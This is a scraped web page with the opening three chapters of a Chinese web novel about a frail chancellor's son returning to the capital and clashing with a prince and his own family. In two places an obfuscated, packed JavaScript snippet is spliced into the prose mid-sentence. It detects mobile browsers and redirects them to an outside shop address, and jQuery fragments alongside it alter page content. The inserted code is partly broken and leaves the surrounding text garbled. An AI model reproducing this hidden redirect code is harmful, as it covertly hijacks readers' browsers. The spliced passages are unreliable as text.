《暴娇和病美人[互穿]》 1. 归京 应昭二十三年,严冬河枯。 京都刚下完一场雪,银装素裹,北风冷峭。 守城的官兵打着哈欠将城门打开,没来得及睁眼就被铺天而来的寒意给吹得打了个激灵。 天还未亮全,隐约瞧见城外一片萧瑟景色,再往远了看,便只能瞧见仿佛能将人吞没的层层薄雾。 不远处,一辆马车伴随着若隐若现的金铃声响,晃晃悠悠破开薄雾而来。 走至近处,马车蓬角悬挂着的灯笼上有个龙飞凤舞的字,隐约瞧着好似是个“寒”,一个半大少年扬着鞭子,慢悠悠停了下来。 “公子,咱们到京都城啦!” 少年欢快蹦了下来,一边对马车中的人说话,一边拿出来路引和通关文牒递给官兵。 马车的人没应声,只是发出一声压抑住的咳嗽声。 两位官兵接过路引和文牒扫了一眼,面面相觑半晌,看向马车的眼神有了些古怪。 一人问道:“你家公子名唤晏行昱?” 少年不明所以:“是啊,你不认字吗?” 官兵干咳了一声,神色更加古怪了,他行了一礼,道:“原来是相国公子。” 丞相公子晏行昱自幼体弱多病,被丞相送去了江南寒若寺养病,离京已经十年,本该甚少有人认识他。 但这段时日不知是谁传了流言,说那有大凶之煞命格的晏行昱要在年底归京。 京都城什么都不缺,就是缺热闹——哪怕是传闻中的草包七皇子在宫宴上问“秣马厉兵是什么意思”的小事,都能被传笑好几年。 不出几日,整个京都城都知晓灾星晏行昱要归京,全都想着见一见那传说中的相国公子,是否如传闻中所说那般招灾引祸。 原本一些人只是当个笑谈,没想到这晏行昱竟然真的归京了。 官兵抱拳道:“下个月便是祭天大典,圣上下令严查所有进京之人,劳烦公子打开马车门。” 少年一愣,眼睛都瞪大了:“你既然知道我家公子是相国之子并非歹人,怎么还要查呀?” 官兵在心中嗤笑一声,不是歹人,却是灾星啊。 只是他面上却是极其尊敬:“今年四境来京都之人各个都要搜,并非针对公子。现在正值年关,若是有一点小纰漏我等可是要掉脑袋的。” 少年着急道:“我家公子体弱,见不得风,你们不能搜!” 官兵却是一副油盐不进的架势,不搜便不放行。 两人对峙间,将周围的人也引得朝他们看来。 就在这时,马车中突然传来一声闷咳,那声音不大不小,仿佛是拼命压抑着咳嗽。 一只手轻轻从马车中探出,骨节分明,腕子上还缠着一串破旧的佛珠。 素色的车帘被轻轻撩开,一个身着白衣的少年端坐在狭小的马车内,微微抬眸,朝阳倾洒进车中,照亮他的半张脸。 那守城的官兵原本满脸不耐烦,无意中一抬头,愣了一下。 丞相府的大公子晏行昱约摸着十五六岁的模样,如墨似的青丝半披着,一缕发垂在肩上仿佛能裹住他纤瘦的病体。 大概是方才咳过一遭,他眼尾有些发红,晕染的红色将眼下的一滴红色泪痣囫囵包裹住,眸中仿佛蒙上氤氲缥缈的雾团,久久不散。 “阿满。”晏行昱气息紊乱,一看就知病虚已久,“不要胡闹。” 他满脸苍白的病色,只有被咬出了齿痕的唇和眼底的红痣有了一抹艳色。 叫阿满的少年忙跑过来:“您风寒才刚好,可别再吹着风了。” 他说着就要将帘子拉上,晏行昱却轻轻摇头,对着一旁看呆了的官兵颔首道:“劳烦,搜吧。” 晏行昱舟车劳顿,千里迢迢来到京都,眉眼间全是倦色,连多一个字都不想多说,但礼数却让人挑不出错处来。 官兵愣了半天,这才手忙脚乱地让人去搜马车。 马车上没什么东西,就一人和一个盛东西的箱子,箱子里就几件洗得发白的旧衣裳,剩下的全是各式各样的药。 角落里一只黑猫正蜷缩着睡觉。 官兵很快就搜好,给放了行。 阿满气咻咻地瞪了他们一眼,连忙跑上来把帘子放下。 就在帘子即将垂下来时,一直安安静静的晏行昱突然一伸手撩住了帘子。 阿满疑惑道:“公子?” 晏行昱捏着帘子,半张脸隐在阴影下,漂亮如琉璃似的眸子看向不远处。 阿满跟着看了过去,瞧见城墙下有个身着红衣的少年正勒着马绳,似笑非笑地朝他们看来,也不知看了多久。 晏行昱的视线刚好和那人对上,手指一抖,帘子瞬间落了下来。 阿满知道他家公子清心寡欲惯了,这般反常瞧一个人必定有缘由的,想了想,问一旁的官兵,抬手一指那红衣少年,道:“那人是谁?” 离他近的官兵正要去查下一个人,顺着阿满的手漫不经心看去,等看清那少年的模样,吓得冷汗都下来了。 他立刻将阿满的手拉了下来,低声道:“那是当朝七殿下!不得放肆!” 阿满不懂怎么指一下就放肆了,但问到了身份也没多说,撇撇嘴上了马车,一甩鞭子,进了城门。 阿满边驾马边不开心地说:“方才那人就是故意为难我们。” 晏行昱淡淡道:“刚归京,别惹事。” “我不惹事。”阿满勒着缰绳,偷偷摸摸将手中石子往不远处一弹。 一声破空之声响起,正在诚惶诚恐前去面见七皇子的官兵突然感觉膝盖一痛,一个趔趄直直趴在了地上。 正好倒在了七殿下的马蹄下,半天没爬起来。 七殿下——荆寒章垂着眸,似笑非笑地盯着自己马蹄下的官兵:“倒也不必行此大礼,起来吧。” 官兵满脸苍白,膝盖剧痛却还是强撑着站了起来,行礼道:“见过七殿下。” 荆寒章一身猎衣,肩上系着一袭宛如火焰似的火红披风,寒风一拂猎猎作响,那高高束起的长发间,若隐若现坠着流苏穗子的赤绦。 他驾马在城外的空地上溜达,马蹄将雪地踩出凌乱的印子,他漫不经心应了一声,不知是什么意思。 官兵冷汗都要下来了,七皇子荆寒章得圣上宠爱,性子乖戾阴晴不定,做事更是随心所欲,无人能捉摸得透,在京城的凶名人尽皆知。 若是惹了他不快,自己就是有一百个脑袋也不够掉的。 好在荆寒章并未责难,很快一个少年就策马追了上来,身后跟着满脸焦急的侍从——众人应该是刚从城郊猎场归来,笼子里还关着一只蹄子受伤的幼鹿,正呦呦哀叫着。 江枫华呼出一口白雾:“殿下!” 荆寒章转身一挑眉:“你又输了。” 江枫华甘拜下风道:“还是殿下骑术更胜一筹,臣甘拜下风。” 荆寒章漫不经心地哼笑道:“父皇就不该将我拘在京都学什么书,若我能随着大皇兄前去西北,早就将那劳什子的蛮族打回老家去了。” 江枫华道:“西北艰苦,边境秣马厉兵,殿下万不可涉险。” 荆寒章一顿,古怪地看着他,道:“再提‘秣马厉兵’四个字,明日武场就是你同我切磋。” 江枫华:“……” 他差点忘了,前些年七殿下就是因为不知“秣马厉兵”是什么意思闹了个大笑话,明里暗里不知被京都城的人笑话了多久。 荆寒章善骑射,年纪轻轻在武场上从无败绩,但对于学课却是一窍不通,平日里没少被太傅和圣上责罚。 江枫华一想起荆寒章在武场上凶悍冷厉的架势,立刻拼命摇头:“殿下武艺精湛,臣定不是对手,还是不扰殿下雅兴了。” 荆寒章性情乖戾,但在猎场玩的开心,也没有多言。 众人策马入城,荆寒章骑着马慢吞吞踱着,不知想到了什么,问江枫华:“你之前是不是同我说过相国公子的事?” 江枫华有些诧异。 昨日他同荆寒章随口说着京都城传得沸沸扬扬的相国公子时,荆寒章满脸意兴阑珊,江枫华才开了个头说了个名字,荆寒章就不耐烦地跑了。 现在怎么突然来了兴致? 荆寒章性子张狂恣意,江枫华作为皇子伴读和他从小一起长大,有时候都摸不清他到底在想什么。 既然殿下想听,江枫华便将流言再说了一遍。 “臣听说那相国公子体虚病弱,是个命不久矣的病秧子。” 荆寒章懒洋洋“嗯”了一声,示意他继续。 “晏行昱自小体弱,年幼时被送去江南寒若寺养病。但我私底下听说,他并非是因病才离京的。” 若是养病,随意寻个山清水秀的地方便可,为何要去寒若寺那荒无人烟的苦险之地。 “据说是因当年老国师为他批的命格……”江枫华小声说,“是七杀格,大凶之煞。” 荆寒章嗤笑:“我从不信这个,什么命格,皆是子虚乌有罢了。” 江枫华道:“丞相自然也是不信的,但在晏行昱六岁那年,以一己之力……险些抹了一个成年男人的脖子,丞相无法这才将他送去寒若寺。明着说养病,实际上指不定是在镇煞。” 荆寒章:“不是说他是个病秧子吗?” 就刚才那副喘气都唯恐伤了肺管子的模样,荆寒章都怕他被风一吹就碎了。 就那种冰雕似已碎的美人,怎么可能抹人脖子? “就是说啊。”江枫华道,“不过这也只是传言,京都那点谈资更迭极快,来来回回传了十年,指不定早已面目全非, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16727615|189528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也不能尽信。” 荆寒章漫不经心地点头,道:“不过管他当年是因为什么被送走的,丞相近些年风头太盛,百官都暗里道他权倾朝野,他这个病秧子儿子这个时候归京,定会落人口实……哼。” 江枫华不知道他哼什么,但七皇子一脉自来和丞相府水火不容,这个“哼”大概有看好戏的意思。 荆寒章对丞相一直不满,江枫华顺着他的话,道:“也是,先不说子虚乌有的命格如何,就说堂堂丞相之子在寒若寺那小破庙里长大,不知被养成什么古怪性子,今年京都想来定会十分热闹。” 荆寒章心想,性子古不古怪是不知道,但定是极其懦弱的,否则也不会被区区守城官兵扣着查马车了。 江枫华看着他的神色,试探着道:“殿下……是瞧见过那个相国公子了?” 听传言说晏行昱这几日会归京。 荆寒章:“嗯,瞧见了。” 江枫华忙问:“那人如何?” 如何? 荆寒章想了想,方才只是匆匆一瞥,晏行昱只掀开了一半帘子,半张脸隐在暗处,并不能将轮廓瞧的太分明。 唯一记得的,便是如玉石似漂亮的眼睛下,那颗艳红的泪痣。 江枫华见荆寒章似乎在出神:“殿下?” 荆寒章如梦初醒,不知想到了什么,突然一甩马绳猛地转身,高高束起的发在空中划了半圈,发梢飘然落在肩上。 “什么大凶大煞七杀格?”荆寒章伸出一只手比划了一下,不屑道,“本殿下一只手能撂倒十个。” 江枫华:“……” 荆寒章说完,大概觉得这奚落的话太过小儿科,但他学课实在懈怠,一时想不出多有水平的话,只好说:“哼!” 说罢纵马就跑。 江枫华:“……” 这个“哼”,他实在是解读不出来到底是何意。 *** 京城的街道十分繁华,天还未暗便有人沿路热火朝天地摆摊。 京城的人来自五湖四海哪里的都有,长街上的摊位小食自然也是种类繁多,一眼望去,简直令人目不暇接。 阿满驾着那辆灰扑扑的马车驶入长街后,晏行昱轻轻撩开帘子一角,安静地往外看去。 京都的风太冷,他只能透过一条缝隙去看那繁华长街。 哪怕只是一条缝,依然有冷风灌进来,晏行昱捏着帘子一角的手指被冻得一片冰凉。 阿满正满心欢喜地看着喧闹的长街,突然听到他主子低喃了一句。 “停一下。” 阿满立刻勒住缰绳:“公子?” 晏行昱把帘子放下,冻得冰凉的指尖被他塞进了怀中小猫的肚子上暖了暖。 “方才瞧见了一家老铺子,你去帮我买块茯苓糕吧。” 阿满忙将马车停在了路边空地,蹦了下去。 晏行昱叮嘱道:“只买一块。” 阿满道:“我知道!” 省钱! 说罢,开开心心去买茯苓糕了。 晏行昱闭眸靠在椅背上,手将腕上的佛珠轻轻拨动。 寒若寺中一年四季只有朝夕的钟鼓和终年不变的诵佛声,晏行昱端坐在一帘之隔的破旧马车中,听着窗外的喧闹,那浓烈的烟火气让他恍惚间觉得自己突然活了过来。 耳畔传来一阵放肆的马蹄声,接着似乎有人停在了他车窗旁。 晏行昱倏地张眼,眸底一抹寒意,手轻轻捂住宽袖。 他太过惧冷,马车中遮得严严实实,一片昏暗中,一旁的窗帘突然被人从外面掀开了一条缝隙。 晏行昱一怔。 京都的寒风从小小的车窗刮了进来,随之而来的还有第一缕穿破云层的朝阳。 一身红衣的少年骑在马背上,逆着光居高临下地看着他,手中正拿着剑鞘,漫不经心地挑他的车帘。 光太过耀眼,晏行昱羽睫微微一垂,从长睫的阴影处朝那因逆着光而显得影影绰绰的人看去。 荆寒章拿着剑鞘挑着车帘,将人打量半日,越看越觉得少年迷茫看他的模样,很像今日打猎时遇到的那只幼鹿。 一样的人畜无害,满眼全是软弱无能。 在这群狼环伺的京都,摊上相府公子这么个显眼的身份,再加上那传闻中的「七杀格」,说是幼鹿都高看了他。 幼鹿还能用四只蹄子跑几步,而他却宛如俎上之肉,只能任人宰割。 荆寒章看着看着,突然勾唇一笑,满脸桀骜不驯。 他问:“你叫晏行……” 晏行……什么来着? 七殿下突然卡了一下,不过他一向轻狂,哪怕不记得别人名字也没有羞耻尴尬,反而更加张扬道:“晏行鹿?” 晏行昱:“……” 2. 冷待 晏行昱方才知道了这人的身份,却一时间没明白他的路数。 荆寒章看了看这人好像连喘息都费劲的病弱模样,哼笑一声,没再多说,将帘子随意一放,直接策马而去。 来去如风。 只留下晏行昱对着摇晃的车帘看了半天,不明所以。 片刻后,马车到了相府。 晏行昱手中捏着阿满买给他的一块茯苓糕,天寒地冻,香味已经散去不少,却没什么心思吃。 寒若寺的马车摇摇晃晃入了相府,阿满欢喜得不行,一路上眼睛都不够用,看什么都觉得新鲜。 靖国丞相,上佐天子,下统领百官,这等尊贵身份,阿满本以为那丞相府邸必定奢靡无比,却没曾想只有相府门口威风些,内宅比寻常富贵人家的宅子差不了多少。 大雪覆盖满院,举目皑皑,反倒平添了几分幽静。 马车进入相府后停下,晏行昱裹上厚厚的大氅,马车后的双门被打开,木制的轮椅从倾斜的木道上缓缓滑下,齿轮摩擦发出一串声响。 相府的赵总管算是看着晏行昱长大的,瞧见他一身病骨支离,眼泪险些落下来。 “少爷……受苦了。” 晏行昱温和地笑了笑:“不苦。” “哪能不苦啊?”赵伯看着他惨白的脸,心疼得要命,“寒若寺那种地方往往都是僧人苦修之处,您当年那么小,双腿又伤着,老爷怎能因为那什么批命就将您送去那种艰险的地方受苦,怎么舍得啊?” 晏行昱见劝不住,只好无奈地道:“我这不是回来了吗。” 赵伯忙擦了擦眼泪:“是是是,回来就好,回来就好。我这就去禀报老爷……” 他话音刚落,旁侧的长廊中刚好走过来一身锦衣的男人,正是丞相晏戟。 晏戟年过不惑,一身常年在朝堂中濡染的威严气势,不怒自威,让人不敢直视。 晏行昱眼睛微亮,手撑着轮椅扶手,因为急切的动作让肩上的大氅掉落一半——他穿了这么厚,离了大氅,身子单薄得要命。 “爹。” 晏戟抬头看了他一眼,眸光锐利,仿佛一柄出鞘的剑。 “回来了。”他神态漠然,只是漠然一瞥便收回了视线,对着赵伯吩咐道,“将车辇上的折子送去书房。” 赵伯一愣,没想到晏戟瞧见晏行昱竟然会这么冷漠,一时间呆了一下。 晏戟行事雷厉风行,吩咐完后根本没等回答,目不斜视地和晏行昱错身而过,语气冷然地留下一句。 “既回来了,就安分点。” 晏行昱五指猛地抓紧了扶手,指节一片泛白。 赵伯看到一旁的晏行昱小脸惨白,刚要壮着胆子说话,却见晏行昱一颔首,讷讷道:“是,行昱记住了。” 晏戟疾步离开。 赵伯满脸忧心地将晏行昱带去了他当年的院子。 晏戟虽位高权重,但却极为节俭,晏行昱离府十年,相府竟然没变化多少。 偏院门扉虽然破落,但里院却收拾得井井有条,药圃花圃用篱笆隔开,一旁还栽着两颗桃树,枝上绑着条条红绸裹着凝成冰霜的白雪,仿佛冬日里也盛开着花簇似的。 赵伯拎着灯将晏行昱迎进去,边走边小声道:“现在朝中动荡,几个皇子折腾得满城乌烟瘴气,老爷整日都在忙朝事,并非故意冷待少爷的。” 晏行昱垂着眸,长长的羽睫轻轻一眨,遮挡住有些黯然的眸瞳。 是否是故意冷待,他心中清楚。 赵伯说完也觉得这个理由不通,干笑了一声:“老爷说少爷在寒若寺多年,定是喜静,早早就让我们将这院子收拾出来了,虽然偏僻但十分清幽。” 晏行昱没说话。 “离主院远些倒也好。”赵伯许久未见晏行昱了,喋喋不休个不停,“小公子这些年被夫人宠坏了,还是个孩子脾气,前几日不知在哪里听到了您的……闲话,唉。” 他没说完,晏行昱却也大概猜到了。 晏行昱离京那年,他弟弟晏为明也才三岁。 虽然当年很粘他,但十年过去,物是人非,不说晏为明如何,就连他也早已不记得那个弟弟长什么模样了。 他在外十年才归京,再加上走时名声不怎么好,京都的人不知要说多少闲话。 晏为明还小,听信了那些空穴来风的传言对他产生恶感,倒也正常。 晏行昱并不在乎。 阿满却在一旁气得脸颊鼓鼓。 他总算看出来了,他家公子的爹真不是个东西,儿子回来这般漠然也就罢了,还将嫡子打发到这种偏僻的住处。 这简直是将对晏行昱的“不喜”摆在了明面上,这若是传出去,外面的人还不知道要如何编排。 赵伯叮嘱了一番,又记下院中几个需要修葺的地方,留了几个下人伺候。 晏行昱不习惯被这么多人伺候,全都打发走了。 这么一番折腾,已过了亥时。 好在晏戟只是冷待,并未苛待他,这院子虽然偏僻,但该有的却一样不缺。 晏行昱收拾了一番,闭着眸靠在软枕上拨弄佛珠,他墨发披肩,满脸都是困倦之色,仿佛随时都能睡去。 不知过了多久,他将佛珠拨动数圈,口中佛经也念完一遭,这才缓缓张开眼睛。 这是他这些年在寒若寺养成的习惯。 他自幼有些心疾,最忌心神激荡,佛经能静心。 窗外的雪飘落而下。 晏行昱病弱不便开窗,只能从那窗棂的缝隙中瞧见那纷纷扬扬飘落的雪瓣。 他轻轻一抬手,不知什么时候出现在角落里的黑猫伸了个懒腰,身姿轻巧地跳到榻上,别扭地蹭了那纤细的手指两下。 晏行昱还带着稚气的脸上浮现一抹难得的笑意,指腹轻轻揉着黑猫的脑袋,左眼下的红痣仿佛活了过来,鲜艳欲滴。 院中传来一串脚步声,晏行昱怔了一下,眉头轻轻蹙起。 很快,阿满推门而入,手中端着一碗黑乎乎的苦药。 晏行昱熟稔地接过药碗,轻轻嗅了一下:“换药了?” “嗯。” 晏行昱喝惯了药,面上没什么排斥,只是空着的手却几乎将佛珠捏碎了。 他将药一饮而尽。 阿满收了药碗,随口道:“公子,方才我瞧见有人来偏院……” “乖,别说话。”晏行昱面色温和,微微垂眸,柔声说,“先出去,我马上就要生气了。” 阿满:“……” 每次吃药,都苦到同自己置气,他家公子也算是头一份了。 晏行昱的气还是没生成。 他本就体虚,从江南到京都舟车劳顿半月,今日又吹了寒峭的冷风,刚躺下一会,就开始发起高烧来。 阿满应对这种事早已轻车熟路,熟练地熬好药端来。 晏行昱烧得迷迷瞪瞪,嗅到药味本能地就伸手去打翻。 阿满早已习惯了,将晏行昱扶起来,几乎是强行将药灌了下去。 晏行昱病恹恹地躺着,被子拉高挡住半张脸,只露出一双满是水光的眼睛。 他烧得神志不清,呢喃说了句什么。 阿满没听清,凑上前:“什么?” 晏行昱软声说:“有虫子,要抄佛经。” 阿满见他都烧迷糊了,说话颠三倒四的,小心翼翼将他搭在床沿的手塞到了被子里,小声哄他:“好,我去打虫子。” 晏行昱双眸失神,瞳仁仿佛蒙了一层水雾的琉璃。 他像是诉苦,又像是在撒娇,喃喃道:“京都有好多虫子,我不喜欢。” 阿满一边哄一边随口敷衍:“好,既不喜欢那就都打死。” 晏行昱含糊应了声,又说了几句胡话,终于撑不住昏昏沉沉地睡去。 *** 晏行昱归京的消息,几乎是一夜之间传遍了京都,翌日一早已经有些京中权贵差人来送礼,一件件往相府里搬。 其他人心里很清楚,送礼是假,看戏是真。 丞相晏戟手腕强横 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16727616|189528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,在朝中树敌良多,那些被常年打压之人自然不会放过这个千载难逢看好戏的机会。 所有人都想知晓,那被国师批命七杀格,又在江南偏僻之处待了十年的相府大公子,到底是否如传闻中那般凶煞。 不过,也有人真心实意来送礼的。 京都难得的好天气,一丝风都没起。 晏行昱烧已退去,满脸病色,虚弱地坐在木轮椅上晒太阳,阿满怕他遭不住寒意,愣是在他周围又放了两个炭盆。 晏行昱默念完一遍佛经,一睁眼就瞧见阿满从门外走来。 “公子。”阿满满脸欢喜,“又有人送礼来啦,我还瞧见一块好大的岫岩玉,京都的人可真有钱。” 晏行昱知晓今日迫不及待来相府的人八成都没安什么好心,也没多说,淡淡道:“我的茯苓糕买回来了吗?” 阿满点头,从怀里拿出来一块纸包的茯苓糕,递给他,道:“哦对了,我还瞧见有人送了一只小鹿过来。” 晏行昱捏着茯苓糕的手一顿:“鹿?” “嗯,特别小,好像才刚出生没几日,一直在那呦呦地叫。” 晏行昱若有所思,不知是不是想到了昨日那第一次见面的七皇子说的“晏行鹿”,他怔了片刻,道:“将那只鹿带来。” 阿满正蹲在一旁逗猫,闻言疑惑道:“啊?您方才不是说外面的礼不要送到这里来吗?” 晏行昱:“我现在又想要了。” 阿满只好起身去了内院,将那只小鹿拎了过来。 那小鹿应该是受到了惊吓,整个身子都在瑟瑟发抖,四只蹄子站都站不稳,走一步摔三下,瞧着十分可怜。 晏行昱头一回瞧见幼鹿,新奇得很,歪着头看着那鹿连摔带爬地到了他腿边,双眸湿漉漉地望着他。 晏行昱打量了一下,才发现这只鹿一只蹄子受了伤,被送来前应该涂了药,一股上等止血药的药香。 连一只鹿都舍得用这般贵重的药…… 晏行昱抬手抚摸了一下鹿头,道:“这只鹿是谁送来的?” “七皇子荆寒章送来的,就我们昨日在城外瞧见的那个人。” 晏行昱一怔:“荆寒章……” 阿满“哦哦哦”几声,从怀里掏出来一张纸,道:“这是在那放小鹿的笼子里瞧见的,您瞧瞧。” 晏行昱打开纸,上面就写了三个字。 「晏行鹿」 右下角也不是落款,而是点了七个不耐烦的墨点。 晏行昱:“……” 传言七殿下肆意妄为,看来果真如此。 阿满扫见晏行昱的神色一变,手指几乎将那张纸给捏碎了,疑惑道:“公子,您要生气了吗?” “是。”晏行昱直白得很,一点也不知掩藏,哪怕生气也生得有条有理,规规矩矩。 阿满正想要找个地方躲一躲,就听到院子外传来一声惊天动地的嚷嚷。 “晏行昱呢?!他就住在这种破地方吗?” 这个声音听着是个稚嫩的孩子,趾高气昂,语气狂妄。 晏行昱就算生气,也没有寻常人愤怒时的狰狞,他很有耐心地将那张纸整整齐齐叠好,贴身放在衣襟里,眸子淡然地看向门口。 很快,一个穿得花里胡哨的半大孩子被几个下人拥簇地冲了进来,气势汹汹,不知道的还以为来寻仇。 那孩子约摸十一二岁,稚气的脸上全是不符合他这个年纪的倨傲,一看就是被宠坏的,而且这么冷的天,他竟然还手持着一把骚气冲天的折扇。 晏为明一挑眉,浑身一股纨绔子弟的气势,高傲得头都要仰翻过去了。 他气势汹汹道:“你就是晏行昱?” 大概是为了长气势,刚进偏院就唰的一声展开扇子,以一种气吞山河的气势,狂晃手给自己扇了好几下,将长发间垂下的发带吹得微微一飘。 晏行昱眼睁睁看着这孩子不着痕迹打了个哆嗦。 晏行昱:“……” 他这个弟弟,脑子好像不怎么好使。 3. 装病 晏为明嫌弃地用眼尾一一扫过端坐在轮椅上的晏行昱,将“你好穷酸哦”几个字明晃晃写在了脸上。 晏行昱轻轻拨动佛珠,耐着性子说:“你该唤我兄长。” 晏为明不屑道:“我才不要叫你兄长。” 阿满闻言眼睛都要发绿了,看模样似乎想要一刀砍了这口不遮拦目无兄长的孩子。 晏行昱面上毫无波动,只是拨动佛珠更快了些。 “你乖。”晏行昱病恹恹的,连说话都没太大力气,“兄长现在有些生气,没空闲哄你玩。你说句服软的话哄我开心,我就不将此事告知父亲。” 晏为明皱眉:“什么事?” 晏行昱无声叹了一口气,他这个弟弟脑子当真有些不好使。 “你冒犯兄长的事。”晏行昱好脾气地说,“你瞧瞧,我那门都被你踢坏了,兄长有些胆小,你若再大点声,我怕是要犯心疾了。” 晏为明被他这句话给气笑了,怒气冲冲地就要上前,让他瞧瞧真正的冒犯无礼。 只是还没等到他冲到晏行昱轮椅旁,一旁忍无可忍的阿满眸子猛地一狠,动作迅速地一脚踹向晏为明的膝盖。 晏行昱撑着脸侧,姿态懒散地屈指轻轻一敲轮椅扶手,发出极其轻微的“哒”。 阿满一怔,踹向膝盖的脚硬生生往下一蹬,一脚抵在了晏为明的鞋尖。 晏为明猝不及防一个踉跄,险些摔个正着,哎呦哎呦往前冲了好几步,才堪堪站稳。 他一摔直接摔到了晏行昱面前,晏为明惊魂未定地一抬头,就对上晏行昱温和的眸子。 小小少年不知为何,突然一呆。 晏行昱温柔地看着他,像是没瞧见阿满的动作,还在安静地等着弟弟哄他开心。 晏为明定定看了他半天,最后还是身后的下人冲上来扶住他,他才猛地回神。 “起开!”他挥开下人的搀扶,不知是气的还是其他别的原因满脸通红,色厉内荏道,“爹把你打发到这鬼地方住着,根本就不在意你!就算我不敬兄长又如何,你以为爹会为了个从穷乡僻壤里出来的灾星责罚我吗?!” 晏行昱拨动佛珠的手指突然一顿,两颗佛珠相撞,发出一声微弱的咔哒声。 他微微抬眸,长长羽睫在眼尾勾起弧度,眸瞳浮现一抹冷意,明明是个病秧子,却一眼就让叫嚣个不停的晏为明惊了一下。 晏为明本能后退半步,立刻稳住了,继而有些羞愤。 他竟然……被一个不良于行的病秧子给吓到了?! 若是被京都的其他人知晓,多损他的名声! 晏为明给自己壮胆,心知他就算再生气,也对自己做不了什么,更加肆无忌惮了。 他正要继续,却听到晏行昱突然温柔地说了一句。 “为明,兄长要装病了。” 晏为明:“……” 晏为明满脸懵,不懂他到底是什么意思。 下一瞬,一直满脸温和的晏行昱突然伸手捂住心口,脸色惨白地急喘了几声,搭在扶手上的手死死握着扶手,本就如玉似的手更是一片惨白。 晏行昱只是急喘了几口气,额上已全是冷汗,簌簌往下落,有几滴盈在过长的羽睫上摇摇欲坠,瞧着仿佛是不堪忍受痛苦而落泪似的。 晏为明:“……” 晏为明吓呆了,愕然看着他。 他听说过晏行昱自小就有心疾,但根本不知晓心疾发作时会这般严重,以至于让他忘记了方才晏行昱说的那句“装病”。 ——毕竟,晏行昱此时险些喘不上气来,整个人像是从水里捞出来似的,脸上全是冷汗,痛苦至极的模样根本不像装的。 恍惚间,此时的场景似乎和他尘封已久的记忆缓缓重合了。 好像很久之前,也曾有人在他面前艰难呼吸,痛苦不已。 晏为明不知为何,心尖突然像是被针扎了一下似的,疼得要命。 阿满像是一只被抢了骨头的恶犬,龇着小虎牙恶狠狠地盯着晏为明。 晏为明本来是想要去扶晏行昱,却被满脸凶气的阿满吓得后退数步,讷讷道:“我我……我不是有意的,我、我根本没吓到他,兄……” 晏行昱根本没给他辩解的机会,头一偏,似乎是虚弱地昏过去了。 晏为明:“……” 正在此时,赵伯喜气洋洋地过来了,还未进院子就扬声道:“少爷,圣上方才下旨要您进宫……” 话还没说完,就瞧见院中那乱糟糟的一幕。 赵伯:“……” 他失声道:“少爷!” 一阵鸡飞狗跳中,晏行昱被扶上了床,又是熏药又是灌水,折腾个不停。 赵伯又气又急,看到晏行昱终于平稳了呼吸,一边差人去请郎中,一边隐忍着怒气去寻晏戟。 晏为明懵了许久,被下人拥簇着回了奢靡富贵的院子,久久回不过神。 下人都在劝他。 “公子,老爷根本不喜那病秧子,就算赵伯前去告状,老爷也定不会为了个灾星而处罚您。” “是啊,小的听闻昨日他回来的时候,老爷根本没理。” 晏为明有些失魂落魄,无意中听到下人七嘴八舌地诋毁晏行昱,心中突然无来由地腾起一股无理取闹的恼火来。 他一把甩开扶着他的下人的手,冷声道:“就算他是灾星,又哪里是你们能随便说的?” 几个家丁一愣,忙跪下来告罪。 晏为明更加烦躁了,他使劲揉着眉心,一会眼前劝是晏行昱满脸痛苦的样子,一会又要担心晏戟会真的罚他。 片刻后,晏戟身边的侍从面无表情地过来,不顾周围下人的惊叫,将晏为明扛起来扔到了相府祠堂中。 晏戟正在祠堂上香,身形如松,仿佛永不弯折。 晏为明本来吵闹个不停,一瞧见晏戟立刻蔫了。 他被侍从放下来,怯怯地说:“爹。” 晏戟头也不回,对着满屋先祖牌位,漠然道:“跪下。” 晏为明:“……” 晏为明吓了一跳,他也被罚跪罚习惯了,忙跪在了蒲团上。 晏戟一一看过祠堂上的牌位,最后视线在一块无名牌位上扫过,才收了回来。 他微微侧身,负手而立,不怒自威的模样让晏为明吓得腿都在软。 晏戟扫他一眼,问:“知道哪里错了吗?” 晏为明愣了一下,觉得他爹不可能为了晏行昱罚他,故作镇定道:“儿子不知。” 晏戟也不怒:“那就在这里跪着,什么时候知道了什么时候再起来。” 晏为明:“……” 晏为明愕然抬头看他。 晏戟做事自来雷厉风行,说完这句话也不等晏为明有什么反应,转身离开祠堂,只留下一个满身煞气的侍从。 晏为明不可置信地起身要追:“爹!您竟然为了晏行昱责罚我?!爹!” 晏戟的声音从远处传来:“把他蒲团撤了。” 晏为明:“……” 侍从面无表情,一把握住晏为明的肩膀将他蒲团扯开。 晏为明的膝盖直接跪在了冰冷坚硬的地上,他这些年就算闯了祸被罚也没这么重过,半大的孩子又被宠得脾性极大,当即炸了。 他怒气冲冲道:“放开我!” 侍从不为所动。 晏为明几次都想要起身跑出去却被那人高马大的侍从强行按在地上跪着,来回折腾了一个多时辰,晏为明终于认命了。 他满脸屈辱道:“我错了,我不该对兄长无礼。” 侍从漠然扫了他一眼,勉强算他过,这才转身回去复命了。 晏为明一瘸一拐地往院子里走,一边哭一边咬牙切齿地放狠话:“晏行昱!小爷和你势不两立!呜!” 之前的什么心疼,什么难受,此时全都烟消云散,只剩下一腔无能怒火。 而罪魁祸首晏行昱正靠在软枕上,漫不经心地翻看早已破旧的佛经,脸色除了有些苍白外,并没有方才那恨不得把心给喘出来的病重之状。 